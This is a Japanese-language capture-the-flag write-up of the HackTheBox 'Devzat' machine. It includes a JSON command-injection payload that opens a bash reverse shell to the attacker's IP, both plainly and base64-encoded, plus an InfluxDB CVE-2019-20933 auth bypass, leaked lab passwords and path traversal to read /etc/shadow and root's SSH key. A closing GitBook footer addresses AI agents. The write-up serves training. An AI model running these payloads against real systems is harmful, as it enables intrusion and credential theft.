> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-medium/devzat-hackthebox-writeup.md).

# Devzat HackTheBox攻略記事

ディレクトリのファジング、Webインジェクション（RCE）、InfluxDBの悪用（CVE-2019-20933）、Devzat Chatの/fileコマンド悪用（権限昇格）を扱うDevzat HackTheBox Medium Linuxマシンの攻略記事。実践

{% embed url="<https://app.hackthebox.com/machines/398>" %}

{% hint style="warning" %}
**スキル:**

* ディレクトリのファジング
* Webインジェクション（RCE）
* InfluxDBの悪用（CVE-2019-20933）
* Devzat Chatの/fileコマンドの悪用（権限昇格）
  {% endhint %}

## 偵察：

**作業環境の設定:**

重要なコンテンツ、エクスプロイト、Nmap の偵察結果を保存するために、3つのフォルダを作成して作業環境を整えます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-49d378a4e54d371a26602eb5fad0430e996169b8%2Fimage%20(1072).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN 接続確認**

VPN の接続性を確認して、対象マシンとの安定した通信を確保します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5f8edc791b4d2fc7cc410c921998ef2b7de52a6d%2Fimage%20(1073).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Nmap による開いているポートの検出:**

開いているポートを列挙し、結果を Nmap ディレクトリ内の「allPorts」ファイルに出力します:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.118 -oG allPorts
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1fdb3f6ab20dd1a7d8f2e6323c36fc6de4c1a0c7%2F%7BCF84741D-A627-47F8-8A77-017BCB510C85%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**extractPorts による開いているポートの分析:**

extractPorts関数を使用して、開いているポートを簡潔な形式で表示し、クリップボードにコピーします（22、80、8000）

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4d95a8bafd466ad631bf39993f62e498486a25ae%2Fimage%20(1074).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Nmapによるポートバージョンスキャン：

Nmap を使ってサービスのバージョンをスキャンし、出力を「targeted」ファイルに保存します:

```bash
nmap -sCV -p22,80,8000 10.10.11.118 -oN targeted
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0b917a62178687d18d0970654205b16a47f8107b%2F%7B8C48E396-6576-4D02-848E-6E9624EE962A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

DNS経由でドメイン名をIPアドレスに解決するには、IPアドレスに関連付けられたドメイン名を `/etc/hosts` ファイル：

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4ff7122874e44c4b2e0dfb445ecc13aac7958d5d%2F%7B09F61A42-12D9-40E6-A2BF-C9D590BA2854%7D.png?alt=media" alt="" width="539"><figcaption></figcaption></figure>

### ポート80

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cc2d9ce0fb9c781cb68afc76210c5aec69b95730%2F%7B92A81E80-74DD-482C-B02A-DF1373F1953E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

を使用する `whatweb`、サイトに関連付けられたメールアドレスが見つかります： `patrick@devzat.htb`.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7ef0be18c31687e74db2c810b51f1937479bc257%2F%7B43548105-F1F3-4359-966A-38CE8ED3CEFC%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

アプリケーションから、ポート8000を使用してSSH経由で「chat」に接続できることもわかります：

```bash
ssh -l [username] devzat.htb -p 8000 
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cb2e51713111ab3052110043f41fa4575295baf8%2F%7BD8E0E08C-A019-4DC5-828A-96AD7819A30C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### ポート8000：

接続を試みますが、SSHキーが必要なため問題が発生します：

```bash
ssh -l jordan devzat.htb -p 8000
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-17c0f05a163e67e69c286997e8aec74641377849%2F%7B461B93F7-CC1F-47C1-BB0C-A41956EB4E7E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**SSH-RSAの使用を一時的に強制する：** 以下のオプションで、このセッションで使用するSSHキーの種類を指定します：

```bash
ssh -l jordan devzat.htb -p 8000 -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7fad424760a0c98d5665141acb6560a34e0cdb3c%2F%7BA5D15201-AAAA-44B0-AE8F-80F8568649BB%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### **Devzatプロジェクト（SSHチャット）：**

{% hint style="info" %}
Devzatは、コマンドプロンプトではなくチャットに接続するカスタムSSHサーバーです。SSHアプリケーションは電話を含むすべてのプラットフォームで利用できるため、どのデバイスからでもDevzatに接続できます。
{% endhint %}

このチャットで実行できるコマンドの一覧は次のとおりです：

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7a9a053b608decfc422c2a3564cd14fff3d04c98%2F%7BDDC3D6E6-EE09-49B0-B77B-C5F657272E5C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### ファジング **ディレクトリ：**

次を使用します `gobuster` サイト上のディレクトリを一覧表示するには：

```bash
gobuster dir -u http://devzat.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

興味深い結果は見つかりませんでした。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a2deb81002a418d2ba60ba6dc2423700ffea6698%2F%7BD4C83F5D-381A-4C8B-BD80-7957D492E754%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### **サブドメインのファジング**

以下を使用してサブドメインを検索します `gobuster`:

```bash
gobuster vhost -u http://devzat.htb --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100 | grep -Ev "403|302"
```

以下を発見します `pets.devzat.htb` サブドメインを追加します `/etc/hosts` ファイルに存在するユーザーに対して試します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e106beef0be436c24b25d2a37e5d30f7fe7b14b1%2F%7BB42D7365-A0D6-44EB-870D-E956F5E622C4%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2f770bccf02eda7050143a75a88d7155e4ae4ac6%2F%7B4D4BC751-F848-47D2-81B1-86CA8C97ED95%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

## **脆弱性（RCE）JSON：**

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e8b9428db2f069116e1a84b2dbd88ffe5bc667de%2F%7B14323B7A-C54F-47DC-93DC-83FEE1258AC0%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

種別とともに「pets」を追加でき、これによりJSONインジェクションが可能になります。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-27968a5f0e09cf1a5ea2ab2cbbcbb7e54d7fb063%2F%7B461F2CF6-1420-4246-91B4-3ED3841F1DF8%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Burp Suiteでリクエストをインターセプトし、nameとspeciesを含むエントリを追加してリクエストの操作を試みます：

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-83df967484ea7fb7fa13acd3d5a97263a830519f%2F%7B6ADC8897-4E6C-4673-931A-8CA6E6FC9D04%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

このエントリは解釈されるため、インジェクションが可能です。

```json
{
    "Name": "jordan",
    "Species": "jordan"
}
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-167959fe98a63681cceca44c847b1d49af4955af%2Fimage%20(1067).png?alt=media" alt=""><figcaption></figcaption></figure>

通信を観察し、コマンドインジェクションをテストするためにICMPトラフィックをリッスンします：

```bash
sudo tcpdump -i tun0 icmp
```

pingの応答を受信し、リモートコマンド実行の可能性を確認します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-737086333259ec0e35b8fb8ae10379f9f89dc2f1%2Fimage%20(1066).png?alt=media" alt=""><figcaption></figcaption></figure>

次に、以下を含むリクエストを送信します `curl` をPythonサーバーに送信すると、リクエストも受信され、リモートコード実行の脆弱性が確認されます。

```bash
{
    "Name": "jordan",
    "Species": "test;bash -c "bash -i >%26 /dev/tcp/10.10.14.12/443 0>%261""
}
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ab2d6cf298373ec94266bab7b16a3f1d318cbaa8%2Fimage%20(1068).png?alt=media" alt="" width="502"><figcaption></figcaption></figure>

### リバースシェル

リバースシェルの作成を試みます：

```bash
bash -c "bash -i >%26 /dev/tcp/10.10.14.12/443 0>%261"
```

しかし、出力エラーが発生します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4b334fc2cb14d2a75f7572c8362b8077e3b35bd3%2Fimage%20(1069).png?alt=media" alt=""><figcaption></figcaption></figure>

**エラーの解決策（リバースシェル）：** このエラーを解決するため、リバースシェルを含むHTMLファイルを作成し、base64でエンコードします：

```bash
#!/bin/bash 
bash -i >& /dev/tcp/10.10.14.12/443 0>&1
```

このファイルをbase64に変換します：

```bash
base64 -w 0 index.html
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-53ef488b4eac2b9a2454174d67694ca33dbf1bed%2F%7BA7203B26-42E8-4A5D-93D3-68FDBBD2B9AE%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

クエリ内で、エンコードされたbase64文字列をechoし、デコードしてからシェルを実行します：

{% code overflow="wrap" %}

```bash
{
    "Name": "jordan",
    "Species": "test;echo IyEvYmluL2Jhc2ggCmJhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMTIvNDQzIDA+JjEK | base64 -d | bash"
}
```

{% endcode %}

再びポート443をリッスンすると、リバースシェルを取得できます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-07a5f165e15414ed0fdbd50f86b5756a9cae96db%2Fimage%20(1071).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **ターミナルの操作：**

セッションを安定化させるため、次のコマンドを使用します：

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

## 権限昇格 <a href="#privilege-escalation" id="privilege-escalation"></a>

より高い権限が必要であることがわかります。以下へのアクセスを得るにはピボットする必要があります `catherine` ユーザーアカウント。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5c4d11617529d2376b8444561c3a366509df30d6%2F%7BEF5A21DE-32A7-4617-B4E1-A482FD19E514%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

#### 開放ポートの特定

まず、以下のコマンドを使用して内部で開いているポートを確認します：

```bash
netstat -nltp
```

開いているポートは：

* 8086
* 8443
* 5000

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ae7ea2ac986a8d12d0f444dd5a4e5ff972452e65%2Fimage%20(1057).png?alt=media" alt=""><figcaption></figcaption></figure>

### ポートフォワーディング（SSH）

ユーザーの秘密鍵を使用し、適切な権限を設定して、内部ポートを攻撃マシンに転送します：

```bash
chmod 600 id_rsa
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-acfd06928c4206948d1f819fc950705297689d51%2F%7BB119B674-F060-475A-B2E3-6B2B770BD1A1%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
sudo ssh -L 8086:127.0.0.1:8086 -L 8443:127.0.0.1:8443 -L 5000:127.0.0.1:5000 patrick@devzat.htb -i id_rsa
```

次に、以下を使用します `nmap` 転送されたポートをスキャンするには：

```bash
nmap -sCV -p5000,8443,8086 localhost -oN targeted
```

### ポート5000：

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fd776bd8915737258bc1e2073767415bc29ed174%2F%7B69CEF75F-40D1-417F-ACA3-029B008322D5%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

このポートはポート8000で見つかったものと同じサービスに関連しており、追加の攻撃経路は得られないことがわかります。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-df8f5a8f1240d56628704d97c02946a729c8968b%2F%7B6459213A-204C-4E09-9877-D206807DE9E4%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### **ポート8086（InfluxDB）**

ポート8086のサービスはInfluxDBバージョン1.7.5です。InfluxDBにNCE（リモートコード実行）の脆弱性を特定します：

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-df2c3205b031cebdc203a734cb931590c0feb7fa%2F%7B317A43DB-B062-4926-AC09-41A23065BA7F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**脆弱性：** [CVE-2019-20933](https://nvd.nist.gov/vuln/detail/CVE-2019-20933)

{% embed url="<https://github.com/LorenzoTullini/InfluxDB-Exploit-CVE-2019-20933>" %}

{% hint style="info" %}
この脆弱性により、以下のJWTトークンを使用して認証を回避できます `SharedSecret` が空である（別名共有シークレット）ため、データベースにアクセスできます。
{% endhint %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b81693707d06c94521bfa22732490b7d594c2bb2%2F%7B6EE18961-54B1-4819-A38C-D1338A4D6626%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### データベースへのアクセス

InfluxDBに接続したら、利用可能なデータベースを一覧表示します：

```sql
SHOW DATABASES;
```

以下を選択します `devzat` データベースを選択し、ユーザーデータを調査します。まず「measures」（テーブル）を一覧表示します：

```sql
SHOW MEASUREMENTS;
```

その **`ユーザー`** テーブルには有用な情報が含まれています。このメジャーの列を調査するには、次を実行します：

```sql
SHOW FIELD KEYS FROM "user";
```

次に、以下の最初の10件の結果を表示します `ユーザー` テーブル:

```sql
SELECT * FROM "user" LIMIT 10;
```

<table data-header-hidden><thead><tr><th width="357"></th><th></th></tr></thead><tbody><tr><td><strong>パスワード</strong></td><td><strong>username</strong></td></tr><tr><td>WillyWonka2021</td><td>wilhelm</td></tr><tr><td>woBeeYareedahc7Oogeephies7Aiseci</td><td>catherine</td></tr><tr><td>RoyalQueenBee$</td><td>charles</td></tr></tbody></table>

catherineユーザーのパスワードは **`woBeeYareedahc7Oogeephies7Aiseci`**&#x3067;あり、以下を取得できます **フラグ** ユーザー。

### フラグ user.txt :)

アクセスの取得に成功し、以下としてピボットします `catherine`.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a012328a845e905eab7bdc4a3e977a3d804b7eb7%2Fimage%20(1059).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### ポート8443（Devzat - 本番環境）

ポート8443は、本番環境のDevzatインスタンス専用です。以下の `ファイル` パラメーターは、rootとしてシステム内のすべてのファイルを一覧表示します。ただし、この機能へのアクセスはパスワードで保護されています。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-25151fedbba14abff31d896121b3ca3f5fb482d0%2Fimage%20(1060).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f6726c8ad6719087d82ff9fea969342976c91bfb%2Fimage%20(1061).png?alt=media" alt=""><figcaption></figcaption></figure>

catherineのパスワードを使用しようとしますが、失敗します。次に、catherineがシステム上で読み取れるファイルを検索する必要があります。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3d351f44d38c6183636ae4b9f3664c75f0415789%2F%7BA4E497F5-2B49-410F-90C9-4D82F636AE17%7D.png?alt=media" alt="" width="538"><figcaption></figcaption></figure>

### Catherineがアクセス可能なファイルの検索

以下のコマンドを使用して、catherineが読み取り可能なすべてのファイルを検索します：

```bash
find / -user catherine -readable 2>/dev/null | grep -vE "cgroup|proc"
```

2つの `.zip` バックアップファイルが見つかります：

* `/var/backups/devzat-main.zip`
* `/var/backups/devzat-dev.zip`

以下をダウンロードします `devzat-dev.zip` バックアップファイルをダウンロードし、その内容からパスワードをフィルタリングします。有用なパスワードが見つかります： **`CeilingCatStillAThingIn2021?`**.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-af919d73e16b8c2db08afbcd897deca0d3029d0f%2Fimage%20(1062).png?alt=media" alt=""><figcaption></figcaption></figure>

次に、このパスワードを使用して以下にアクセスしようとします `/etc/shadow` ファイルを以下経由で `ファイル` パラメータ：

```bash
/file /etc/shadows CeilingCatStillAThingIn2021?
```

パスワードは正しいものの、 **パストラバーサル** が完全なアクセスを得るために必要です。以下のコマンドを使用してファイルシステムを移動します：

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-87018683dee545bef98f49d5c3cf71ea0e5947d6%2F%7BC6E89116-9630-4D34-BF14-E095C90265CF%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
/file ../../../../etc/shadow CeilingCatStillAThingIn2021?
```

以下を表示することに成功します `/etc/shadow` rootとしてのファイル。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-638d2d8d95001304372bdc8581719754bb9f1e19%2F%7BC723D1E1-26FB-4AD1-88FB-08002433C16E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### rootとしてのSSHアクセス

最後に、追加のパストラバーサルを使用してrootのSSHキーにアクセスします：

```bash
/file ../../../../root/.ssh/id_rsa CeilingCatStillAThingIn2021?
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3fefbdce624c13fe2800452370dea8c6e39fb624%2F%7B3A3E604C-9EA9-4A18-9120-5441BD424A2C%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

SSHキーをダウンロードし、rootとして接続します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-93cf5d8448c40ac72b6d336a42cb14f84fd65c9e%2Fimage%20(1063).png?alt=media" alt=""><figcaption></figcaption></figure>

### root.txt フラグ :)

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-626a1a675e374a24f2dfdc9f4be982c65e51ed37%2Fimage%20(1064).png?alt=media" alt="" width="470"><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c706525250edd4439cab2c040348cb7d41774eff%2F%7B63AAD6DA-228A-4E27-ACD2-B716091B8499%7D.png?alt=media" alt="" width="542"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-medium/devzat-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
